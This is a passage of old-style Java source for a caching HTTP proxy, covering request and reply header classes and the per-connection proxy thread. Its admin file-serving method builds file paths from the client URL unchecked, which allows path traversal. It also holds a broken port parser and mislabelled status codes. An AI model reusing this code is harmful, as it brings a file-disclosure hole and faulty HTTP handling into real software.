   config.setAdminPath(adminDir.getAbsolutePath()); 
   System.out.println("OK");


   System.out.print("Creating Cache Manager..."); 
   cache = new Cache(config); 
   System.out.println("OK");


   // Start the admin thread 
   System.out.print("Creating Admin Thread..."); 
   Admin adminThd = new Admin(config,cache); 
   adminThd.start(); 
   System.out.println(" port " + config.getAdminPort() + " OK"); 
  
   // Create main socket 
            System.out.print("Creating Daemon Socket..."); 
   MainSocket = new ServerSocket(daemonPort); 
   System.out.println(" port " + daemonPort + " OK");


   if (config.getIsFatherProxy()) 
   { 
    System.out.println("Using Father Proxy "+ 
     config.getFatherProxyHost()+ 
     ":"+config.getFatherProxyPort()+" ."); 
   } 
   else 
   { 
    System.out.println("Not Using Father Proxy ."); 
   } 
   System.out.println("Proxy up and running!");


   // Main loop 
   while (true) 
   { 
    // Listen on main socket 
    Socket ClientSocket = MainSocket.accept();


    // Pass request to new proxy thread 
    Proxy thd = new Proxy(ClientSocket,cache,config); 
    thd.start(); 
   } 
  
  } 
  
  catch (Exception e) 
  {}


  finally 
  { 
   try 
   { 
    MainSocket.close(); 
   } 
   catch (Exception exc) 
   { 
   } 
  } 
 } 
} 



HttpReplyHdr.java


/****************************************************************** 
*** File HttpReplyHdr.java 
*** 
***/
import java.net.*; 
import java.io.*;


// 
// Class:     HttpReplyHdr 
// Abstract:  The headers of the server HTTP reply. 
//


/** 
 * Generates a http reply header. The header indicates the outcome 
 * of a http request. 
 * 
 */ 
public class HttpReplyHdr 
{


   static String CR="\r\n"; 
   static String HTTP_PROTOCOL="HTTP/1.0"; 
   static String HTTP_SERVER="Java Proxy Server";


   String lastModified =""; 
   long   contentLength=0; 
   String extraErrorString ="";


/** 
 * Sets the last modified date for a header; 
 * 
 * @param date  A string holding an interner date 
 * @return      true 
 */ 
public boolean setModifiedDate(String date) 
   { 
      lastModified = date; 
      return true; 
   }


/** 
 * Adds an extra explanation. This extra information is 
 * Added to the http headers failure explanation. 
 * 
 * @param str  Description to add. 
 * @return     true. 
 */ 
public boolean addErrorDescription(String str) 
   { 
      extraErrorString = str; 
      return true; 
   }


/** 
 * Forms a http ok reply header 
 * 
 * @param ContentType The mime-type of the content 
 * @return            A string with the header in it 
 */ 
public String formOk(String ContentType,long  ContentLength) 
   {


       contentLength = ContentLength; 
  
       String out =new String(); 
  
       out += HTTP_PROTOCOL + " 200 Ok" + CR; 
       out += "Server: " + HTTP_SERVER  + CR; 
       out += "MIME-version: 1.0"       + CR;


       if (0 < ContentType.length()) 
           out += "Content-type: " + ContentType + CR; 
       else 
           out += "Content-Type: text/html" + CR;

       if (0 != contentLength) 
           out += "Content-Length: " + Long.toString(contentLength) + CR;


       if (0 < lastModified.length()) 
           out +="Last-Modified: " + lastModified + CR;


       out +=CR;


       return out; 
   }


/** 
 * private! builds an http document describing a headers reason. 
 * 
 * @param Error        Error name. 
 * @param Description  Errors description. 
 * @return             A string with the HTML description body 
 */ 
private String formErrorBody(String Error,String Description) 
   { 
   String out; 
   //Generate Error Body 
   out  ="<HTML><HEAD><TITLE>"; 
   out += Error ; 
   out +="</TITLE></HEAD>"; 
   out +="<BODY><H2>" + Error +"</H2>\n"; 
   out +="</P></H3>"; 
   out += Description; 
   out +="</BODY></HTML>"; 
   return out; 
   }


  
/** 
 * builds an http document describing an error. 
 * 
 * @param Error        Error name. 
 * @param Description  Errors description. 
 * @return             A string with the HTML description body 
 */ 
private String formError(String Error, String Description) 
   { 
   /* A HTTP RESPONCE HEADER LOOKS ALOT LIKE: 
    * 
    * HTTP/1.0 200 OK 
    * Date: Wednesday, 02-Feb-94 23:04:12 GMT 
    * Server: NCSA/1.1 
    * MIME-version: 1.0 
    * Last-modified: Monday, 15-Nov-93 23:33:16 GMT 
    * Content-type: text/html 
    * Content-length: 2345 
    * \r\n 
    */ 
  
   String body=formErrorBody(Error,Description); 
   String header =new String();

   header +=HTTP_PROTOCOL +" " + Error + CR; 
   header +="Server: " + HTTP_SERVER   + CR; 
   header +="MIME-version: 1.0"        + CR; 
   header +="Content-type: text/html"  + CR; 
  
   if (0 < lastModified.length()) 
       header +="Last-Modified: " + lastModified +CR;


   header +="Content-Length: " + String.valueOf(body.length())+ CR;


   header += CR; 
   header += body; 
  
   return header; 
   }


/** 
 * Indicates a new file was created. 
 * 
 * @return    The header in a string; 
 */ 
public String formCreated() 
   { 
   return formError("201 Created","Object was created"); 
   }


/** 
 * Indicates the document was accepted. 
 * 
 * @return    The header in a string; 
 */ 
public String formAccepted() 
   { 
   return formError("202 Accepted","Object checked in"); 
   }


/** 
 * Indicates only a partial responce was sent. 
 * 
 * @return    The header in a string; 
 */ 
public String  formPartial() 
   { 
   return formError("203 Partial","Only partail document available"); 
   }


/** 
 * Indicates a requested URL has moved to a new address or name. 
 * 
 * @return    The header in a string; 
 */ 
public String formMoved() 
   { 
   //300 codes tell client to do actions 
   return formError("301 Moved","File has moved"); 
   }


/** 
 * Never seen this used. 
 * 
 * @return    The header in a string; 
 */ 
public String formFound() 
   { 
   return formError("302 Found","Object was found"); 
   }

/** 
 * The requested method is not implemented by the server. 
 * 
 * @return    The header in a string; 
 */ 
public String formMethod() 
   { 
   return formError("303 Method unseported","Method unseported"); 
   }


/** 
 * Indicates remote copy of the requested object is current. 
 * 
 * @return    The header in a string; 
 */ 
public String formNotModified() 
   { 
   return formError("304 Not modified","Use local copy"); 
   }


/** 
 * Client not otherized for the request. 
 * 
 * @return    The header in a string; 
 */ 
public String formUnautorized() 
   { 
   return formError("401 Unathorized","Unathorized use of this service"); 
   }


/** 
 * Payment is required for service. 
 * 
 * @return    The header in a string; 
 */ 
public String formPaymentNeeded() 
   { 
   return formError("402 Payment required","Payment is required"); 
   }


/** 
 * Client if forbidden to get the request service. 
 * 
 * @return    The header in a string; 
 */ 
public String formForbidden() 
   { 
   return formError("403 Forbidden","You need permission for this service"); 
   } 
  
/** 
 * The requested object was not found. 
 * 
 * @return    The header in a string; 
 */ 
public String formNotFound() 
   { 
   return formError("404 Not_found","Requested object was not found"); 
   }


/** 
 * The server had a problem and could not fulfill the request. 
 * 
 * @return    The header in a string; 
 */ 
public String formInternalError() 
   { 
   return formError("500 Internal server error","Server broke"); 
   }


/** 
 * Server does not do the requested feature. 
 * 
 * @return    The header in a string; 
 */ 
public String formNotImplemented() 
   { 
   return formError("501 Method not implemented","Service not implemented, programer was lazy"); 
   }


/** 
 * Server is overloaded, client should try again latter. 
 * 
 * @return    The header in a string; 
 */ 
public String formOverloaded() 
   { 
   return formError("502 Server overloaded","Try again latter"); 
   }


/** 
 * Indicates the request took to long. 
 * 
 * @return    The header in a string; 
 */ 
public String formTimeout() 
   { 
   return formError("503 Gateway timeout","The connection timed out"); 
   }


/** 
 * Indicates the client's proxies could not locate a server. 
 * 
 * @return    The header in a string; 
 */ 
public String formServerNotFound() 
   { 
   return formError("503 Gateway timeout","The requested server was not found"); 
   }

/** 
 * Indicates the client is not allowed to access the object. 
 * 
 * @return    The header in a string; 
 */ 
public String formNotAllowed() 
   { 
   return formError("403 Access Denied","Access is not allowed"); 
   } 
}


HttpRequestHdr.java


/****************************************************************** 
*** File HttpRequestHdr.java 
*** 
***/
import java.io.InputStream; 
import java.io.DataInputStream; 
import java.util.StringTokenizer;


// 
// Class:     HttpRequestHdr 
// Abstract:  The headers of the client HTTP request. 
//


/** 
 * Parses and stores a http server request. 
 * 
 */ 
public class HttpRequestHdr 
{ 
  
   /** 
    * Http Request method. Such as get or post. 
    */ 
   public  String method = new String();


   /** 
    * The requested url. The universal resource locator that 
    * hopefully uniquely describes the object or service the 
    * client is requesting. 
    */ 
   public String url   = new String();


   /** 
    * Version of http being used. Such as HTTP/1.0 
    */ 
   public String version           = new String();


   /** 
    * The client's browser's name. 
    */ 
   public String userAgent         = new String();


   /** 
    * The requesting documents that contained the url link. 
    */ 
   public String referer           = new String();


   /** 
    * A internet address date of the remote copy. 
    */ 
   public String ifModifiedSince   = new String();


   /** 
    * A list of mime types the client can accept. 
    */ 
   public String accept            = new String();


   /** 
    * The clients authorization. Don't belive it. 
    */


   public String authorization     = new String(); 
   /** 
    * The type of content following the request header. 
    * Normally there is no content and this is blank, however 
    * the post method usually does have a content and a content 
    * length. 
    */ 
   public String contentType       = new String(); 
   /** 
    * The length of the content following the header. Usually 
    * blank. 
    */ 
   public int    contentLength     = -1; 
   /** 
    * The content length of a remote copy of the requested object. 
    */ 
   public int    oldContentLength  = -1; 
   /** 
    * Anything in the header that was unrecognized by this class. 
    */ 
   public String unrecognized      = new String(); 
   /** 
    * Indicates that no cached versions of the requested object are 
    * to be sent. Usually used to tell proxy not to send a cached copy. 
    * This may also effect servers that are front end for data bases. 
    */ 
   public boolean pragmaNoCache    = false;


   static String CR ="\r\n";


/** 
 * Parses a http header from a stream. 
 * 
 * @param in  The stream to parse. 
 * @return    true if parsing sucsessfull. 
 */ 
public boolean parse(InputStream In) 
   { 
       String CR ="\r\n";


       /* 
        * Read by lines 
        */ 
       DataInputStream lines; 
       StringTokenizer tz; 
       try 
    { 
           lines = new DataInputStream(In); 
           tz = new StringTokenizer(lines.readLine()); 
       } 
    catch (Exception e) 
    { 
           return false; 
       }


       /* 
        * HTTP COMMAND LINE < <METHOD==get> <URL> <HTTP_VERSION> > 
        */ 
       method = getToken(tz).toUpperCase(); 
       url    = getToken(tz); 
       version= getToken(tz); 
  
       while (true) 
    { 
           try 
     { 
               tz = new StringTokenizer(lines.readLine()); 
           } 
     catch (Exception e) 
     { 
               return false; 
           } 
           String Token = getToken(tz); 
  
           // look for termination of HTTP command 
           if (0 == Token.length()) 
               break; 
  
           if (Token.equalsIgnoreCase("USER-AGENT:")) { 
               // line =<User-Agent: <Agent Description>> 
               userAgent = getRemainder(tz); 
           } else if (Token.equalsIgnoreCase("ACCEPT:")) { 
               // line=<Accept: <Type>/<Form> 
               // examp: Accept image/jpeg 
               accept += " " + getRemainder(tz);


           } else if (Token.equalsIgnoreCase("REFERER:")) { 
               // line =<Referer: <URL>> 
               referer = getRemainder(tz);


           } else if (Token.equalsIgnoreCase("PRAGMA:")) { 
               // Pragma: <no-cache> 
               Token = getToken(tz);


               if (Token.equalsIgnoreCase("NO-CACHE")) 
                   pragmaNoCache = true; 
               else 
                   unrecognized += "Pragma:" + Token + " " 
                       +getRemainder(tz) +"\n"; 
           } else if (Token.equalsIgnoreCase("AUTHORIZATION:")) { 
               // Authenticate: Basic UUENCODED 
               authorization=  getRemainder(tz);


           } else if (Token.equalsIgnoreCase("IF-MODIFIED-SINCE:")) { 
               // line =<If-Modified-Since: <http date> 
               // *** Conditional GET replaces HEAD method *** 
               String str = getRemainder(tz); 
              int index = str.indexOf(";"); 
              if (index == -1) { 
                   ifModifiedSince  =str; 
               } else { 
                   ifModifiedSince  =str.substring(0,index); 
  
                  index = str.indexOf("="); 
                  if (index != -1) { 
                      str = str.substring(index+1); 
                      oldContentLength =Integer.parseInt(str); 
                  } 
              } 
           } else if (Token.equalsIgnoreCase("CONTENT-LENGTH:")) { 
               Token = getToken(tz); 
               contentLength =Integer.parseInt(Token); 
           } else if (Token.equalsIgnoreCase("CONTENT-TYPE:")) { 
               contentType = getRemainder(tz); 
           } else { 
               unrecognized += Token + " " + getRemainder(tz) + CR; 
           } 
       } 
       return true; 
   } 
  
   /* 
    * Rebuilds the header in a string 
    * @returns      The header in a string. 
    */ 
   public String toString(boolean sendUnknowen) { 
       String Request;


       if (0 == method.length()) 
            method = "GET";


       Request = method +" "+ url + " HTTP/1.0" + CR;

       if (0 < userAgent.length()) 
           Request +="User-Agent:" + userAgent + CR;


       if (0 < referer.length()) 
           Request+= "Referer:"+ referer  + CR;


       if (pragmaNoCache) 
           Request+= "Pragma: no-cache" + CR;


       if (0 < ifModifiedSince.length()) 
           Request+= "If-Modified-Since: " + ifModifiedSince + CR; 
  
       // ACCEPT TYPES // 
       if (0 < accept.length()) 
           Request += "Accept: " + accept + CR; 
       else 
           Request += "Accept: */"+"* \r\n"; 
  
       if (0 < contentType.length()) 
           Request += "Content-Type: " + contentType   + CR;


       if (0 < contentLength) 
           Request += "Content-Length: " + contentLength + CR; 
  
  
       if (0 != authorization.length()) 
           Request += "Authorization: " + authorization + CR;


       if (sendUnknowen) { 
           if (0 != unrecognized.length()) 
               Request += unrecognized; 
       }


       Request += CR; 
  
       return Request; 
   }


   /** 
    * (Re)builds the header in a string. 
    * 
    * @returns      The header in a string. 
    */ 
   public String toString() { 
       return toString(true); 
   }


   /** 
    *  Returns the next token in a string 
    * 
    * @param   tk String that is partially tokenized. 
    * @returns The remainder 
    */ 
   String  getToken(StringTokenizer tk){ 
       String str =""; 
       if  (tk.hasMoreTokens()) 
           str =tk.nextToken(); 
       return str; 
   } 
  
   /** 
    *  Returns the remainder of a tokenized string 
    * 
    * @param   tk String that is partially tokenized. 
    * @returns The remainder 
    */ 
   String  getRemainder(StringTokenizer tk){ 
       String str =""; 
       if  (tk.hasMoreTokens()) 
           str =tk.nextToken(); 
       while (tk.hasMoreTokens()){ 
           str +=" " + tk.nextToken(); 
       } 
       return str; 
   }


}


Proxy.java


/****************************************************************** 
*** File Proxy.java 
*** 
***/
import java.net.*; 
import java.io.*; 
import java.util.*;


// 
// Class:     Proxy 
// Abstract:  Thread to handle one client request. get the requested 
//            object from the web server or from the cache, and delivers 
//            the bits to client. 
// 
public class Proxy extends Thread 
{ 
 // 
 // Member variables 
 // 
 Socket ClientSocket = null;              // Socket to client 
 Socket SrvrSocket = null;                // Socket to web server 
    Cache  cache = null;                     // Static cache manager object 
 String localHostName = null;             // Local machine name 
 String localHostIP = null;               // Local machine IP address 
 String adminPath = null;                 // Path of admin applet 
 Config config = null;                    // Config object


  
 // 
 // Public member methods 
 //


 // 
 // Constructor 
 // 
 Proxy(Socket clientSocket, Cache CacheManager, Config configObject) 
 { 
  // 
  // Initialize member variables 
  // 
  config = configObject; 
  ClientSocket = clientSocket; 
  cache = CacheManager; 
  localHostName = config.getLocalHost(); 
  localHostIP = config.getLocalIP(); 
  adminPath = config.getAdminPath(); 
    }


 // 
 // run - Main work is done here: 
 // 
    public void run() 
 { 
        String serverName =""; 
  URL url;


  byte line[]; 
        HttpRequestHdr request = new HttpRequestHdr(); 
        HttpReplyHdr   reply   = new HttpReplyHdr(); 
  FileInputStream fileInputStream = null; 
  FileOutputStream fileOutputStream = null; 
  boolean TakenFromCache = false; 
  boolean isCachable = false;


  try 
  { 
   // 
   // Read HTTP Request from client 
   // 
            request.parse(ClientSocket.getInputStream()); 
            url = new URL(request.url); 
            System.out.println("Request = " + url); 
  
   // 
   // Send Web page with applet to administrator 
   // 
   if (url.getFile().equalsIgnoreCase("/admin") && 
    (url.getHost().equalsIgnoreCase(localHostName) || 
     url.getHost().equalsIgnoreCase(localHostIP) )) 
   { 
    sendAppletWebPage(); 
    return; 
   }


   // 
   // Send Applet Files to administrator 
   // 
   if ((url.getHost().equalsIgnoreCase(localHostName) || 
     url.getHost().equalsIgnoreCase(localHostIP) )) 
   { 
    sendAppletClass(url.getFile()); 
    return; 
   }


   // 
   // Check if accessing the URL is allowed by administrator 
   // 
   String[] denied = config.getDeniedHosts(); 
   for (int i=0; i<denied.length; i++) 
   { 
    if (url.toString().indexOf(denied[i]) != -1) 
    { 
     System.out.println("Access not allowed..."); 
     DataOutputStream out = 
        new DataOutputStream(ClientSocket.getOutputStream()); 
     out.writeBytes(reply.formNotAllowed()); 
     out.flush(); 
        ClientSocket.close(); 
     return; 
    } 
   } 
  
  
   // 
   // Client wants a web page - let's see if we have it in cache 
   // 
   if (cache.IsCached(url.toString())) 
   { 
    // 
    // Client request is allready cached - get it from file 
    // 
    System.out.println("Hit! Getting from cache!!!"); 
    config.increaseHits(); 
    TakenFromCache = true;


    // Get FileInputStream from Cache Manager 
    fileInputStream  = cache.getFileInputStream(url.toString()); 
    OutputStream out = ClientSocket.getOutputStream();


    // Send the bits to client 
    byte data[] = new byte[2000]; 
    int count; 
    while (-1 < ( count  = fileInputStream.read(data))) 
    { 
     out.write(data,0,count); 
    } 
    out.flush(); 
    fileInputStream.close(); 
   }


            // 
   // We do not have the page in cache 
   // 
   else 
   { 
    // 
    // Open socket to web server (or father proxy) 
    // 
    if (config.getIsFatherProxy()) 
    { 
        System.out.println("Miss! Forwarding to father proxy " + 
      config.getFatherProxyHost() + ":" + 
      config.getFatherProxyPort() + "..."); 
     config.increaseMisses(); 
     SrvrSocket = new Socket(config.getFatherProxyHost(), 
                          config.getFatherProxyPort()); 
    } 
    else 
    { 
        serverName  = url.getHost(); 
     System.out.println("Miss! Forwarding to server "+ 
      serverName + "..."); 
     config.increaseMisses(); 
     SrvrSocket = new Socket(serverName(request.url), 
              serverPort(request.url)); 
     request.url = serverUrl(request.url); 
    } 
  
    DataOutputStream srvOut = 
       new DataOutputStream(SrvrSocket.getOutputStream());


    // 
    // Send the url to web server (or father proxy) 
    // 
    srvOut.writeBytes(request.toString(false)); 
    srvOut.flush();


    // 
    // Send data to server (needed for post method) 
    // 
    for (int i =0; i < request.contentLength; i++) 
    { 
       SrvrSocket.getOutputStream().write(ClientSocket.getInputStream().read()); 
    } 
    SrvrSocket.getOutputStream().flush();


    // 
    // Find if reply should be cached - 
    //   First, check if caching is on. 
    // 
    isCachable = config.getIsCaching(); 
    String reasonForNotCaching = "Caching is OFF.";


    // Second, parse the URL for special characters. 
    if (isCachable) 
    { 
     isCachable = cache.IsCachable(url.toString()); 
     reasonForNotCaching = "URL not cacheable"; 
    }


    // Third, check reply headers (we must read first 
    //         line of headers for that). 
    DataInputStream  Din  = 
       new DataInputStream(SrvrSocket.getInputStream()); 
    DataOutputStream Dout = 
       new DataOutputStream(ClientSocket.getOutputStream()); 
    String str = Din.readLine(); 
    StringTokenizer s = new StringTokenizer(str); 
    String retCode = s.nextToken(); // first token is HTTP protocol 
    retCode = s.nextToken(); // second is return code 
    // Return codes 200,302,304 are OK to cache 
    if (isCachable) 
    { 
     if (!retCode.equals("200") && !retCode.equals("302") 
      && !retCode.equals("304")) 
     { 
      isCachable = false; 
                        reasonForNotCaching = "Return Code is "+retCode; 
     } 
    }


    // Fourth, check if URL is cache-allowed by administrator 
    if (isCachable) 
    { 
     String[] denyCache = config.getCacheMasks(); 
     for (int i=0; i<denyCache.length; i++) 
     { 
      if (url.toString().indexOf(denyCache[i]) != -1) 
      { 
       isCachable = false; 
       reasonForNotCaching = "Caching this URL is not allowed"; 
       break; 
      } 
     } 
    }


                if (isCachable) 
    { 
     System.out.println("Caching the reply..."); 
     fileOutputStream = cache.getFileOutputStream(url.toString()); 
    } 
    else 
    { 
     System.out.println("NOT Caching the reply. Reason:" 
      +reasonForNotCaching); 
    } 
  
    // 
    // First line was read - send it to client and cache it 
    // 
    String tempStr = new String(str+"\r\n"); 
    Dout.writeBytes(tempStr); 
    if (isCachable) 
    { 
     // Translate reply string to bytes 
     line = new byte[tempStr.length()]; 
     tempStr.getBytes(0,tempStr.length(),line,0); 
  
     // Write bits to file 
     fileOutputStream.write(line); 
     cache.DecrementFreeSpace(line.length,url.toString()); 
    }


    // 
    // Read next lines in reply header, send them to 
    // client and cache them 
    // 
    if (str.length() > 0) 
     while (true) 
     { 
      str = Din.readLine(); 
      tempStr = new String(str+"\r\n");


      // Send bits to client 
      Dout.writeBytes(tempStr); 
  
      if (isCachable) 
      { 
       // Translate reply string to bytes 
       line = new byte[tempStr.length()]; 
       tempStr.getBytes(0,tempStr.length(),line,0); 
  
       // Write bits to file 
       fileOutputStream.write(line); 
       cache.DecrementFreeSpace(line.length,url.toString()); 
      }


      if (str.length() <= 0) 
       break; 
     } 
    Dout.flush(); 



    // 
    // With the HTTP reply body do: 
    //   (1) Send it to client. 
    //   (2) Cache it. 
    // 
    InputStream  in  = SrvrSocket.getInputStream(); 
    OutputStream out = ClientSocket.getOutputStream();


    byte data[] = new byte[2000]; 
    int count; 
    while (( count  = in.read(data)) > 0) 
    { 
     // Send bits to client 
     out.write(data,0,count);


     if (isCachable) 
     { 
      // Write bits to file 
      line  = new byte[count]; 
      System.arraycopy(data,0,line,0,count); 
      fileOutputStream.write(line); 
      cache.DecrementFreeSpace(count,url.toString()); 
     } 
    } 
    out.flush(); 
    if (isCachable) 
    { 
     fileOutputStream.close();


     // Add new entry to hash table 
     cache.AddToTable(url.toString()); 
    }


   } 
  } 
  
        catch (UnknownHostException uhe) 
  { 
   // 
            // Requested Server could not be located 
            // 
            System.out.println("Server Not Found."); 
  
            try 
   { 
    // Notify client that server not found 
    DataOutputStream out = 
                   new DataOutputStream(ClientSocket.getOutputStream()); 
                out.writeBytes(reply.formServerNotFound()); 
                out.flush(); 
            } 
   catch (Exception uhe2) 
   {} 
  } 
  
  catch (Exception e) 
  { 
            try 
   { 
    if (TakenFromCache) 
     fileInputStream.close(); 
    else if (isCachable) 
     fileOutputStream.close(); 
  
    // Notify client that internal error accured in proxy 
    DataOutputStream out = 
                   new DataOutputStream(ClientSocket.getOutputStream()); 
                out.writeBytes(reply.formTimeout()); 
                out.flush(); 
  
            } 
   catch (Exception uhe2) 
   {} 
        } 
  
  finally 
  { 
   try 
   { 
    ClientSocket.getOutputStream().flush(); 
    ClientSocket.close(); 
   } 
   catch (Exception e) 
   {} 
  } 
    }


  
 // 
 // Private methods 
 //


 // 
 // Send to administrator web page containing reference to applet 
 // 
 private void sendAppletWebPage() 
 { 
  System.out.println("Sending the applet..."); 
  String page = ""; 
  try 
  { 
   File appletHtmlPage = new File(config.getAdminPath() + 
             File.separator + "Admin.html"); 
   DataInputStream in = new DataInputStream(new FileInputStream(appletHtmlPage));


   String s = null;


   while((s = in.readLine()) != null) 
    page += s; 
  
   page = page.substring(0,page.indexOf("PORT")) + 
     config.getAdminPort() + 
     page.substring(page.indexOf("PORT")+4); 
  
   in.close(); 
   DataOutputStream out = new DataOutputStream(ClientSocket.getOutputStream()); 
   out.writeBytes(page); 
   out.flush(); 
   out.close(); 
  } 
  catch (Exception e) 
  { 
   System.out.println("Error: can't open applet html page"); 
  }


 }


 // 
 // Send the applet to administrator 
 // 
 private void sendAppletClass(String className) 
 { 
  try 
  { 
   byte data[] = new byte[2000]; 
   int count; 
   HttpReplyHdr   reply   = new HttpReplyHdr(); 
   File appletFile = new File(adminPath + File.separatorChar + className); 
   long length = appletFile.length();


   FileInputStream in = new FileInputStream(appletFile); 
   DataOutputStream out = new DataOutputStream(ClientSocket.getOutputStream());


   out.writeBytes(reply.formOk("application/octet-stream",length)); 
  
   while (-1 < ( count  = in.read(data))) 
   { 
    out.write(data,0,count); 
   } 
   out.flush(); 
   in.close(); 
   out.close(); 
  } 
  catch (Exception e) 
  {} 
 }


 // 
 // Parsing Methods 
 //


    /** 
     * Find the //server.name from an url. 
     * 
     * @return Servers internet name 
     */ 
    private String serverName(String str) 
 { 
        // chop to "server.name:x/thing" 
        int i = str.indexOf("//"); 
        if (i< 0) return ""; 
        str = str.substring(i+2); 
  
        // chop to  server.name:xx 
        i = str.indexOf("/"); 
        if (0 < i) str = str.substring(0,i); 
  
        // chop to server.name 
        i = str.indexOf(":"); 
        if (0 < i) str = str.substring(0,i); 
  
        return str; 
    } 
  
    /** 
     * Find the :PORT form http://server.ect:PORT/some/file.xxx 
     * 
     * @return Servers internet name 
     */ 
    private int serverPort(String str) 
 { 
        // chop to "server.name:x/thing" 
        int i = str.indexOf("//"); 
        if (i< 0) return 80; 
        str = str.substring(i+2); 
  
        // chop to  server.name:xx 
        i = str.indexOf("/"); 
        if (0 < i) str = str.substring(0,i); 
  
        // chop XX 
        i = str.indexOf(":"); 
        if (0 < i) 
  { 
            return Integer.parseInt(str.substring(i).trim()); 
        } 
  
        return 80; 
    }


    /** 
     * Find the /some/file.xxxx form http://server.ect:PORT/some/file.xxx 
     * 
     * @return the deproxied url 
     */ 
    private String serverUrl(String str) 
 { 
        int i = str.indexOf("//"); 
        if (i< 0) return str;


        str = str.substring(i+2); 
        i = str.indexOf("/"); 
        if (i< 0) return str;


        return str.substring(i); 
    } 
}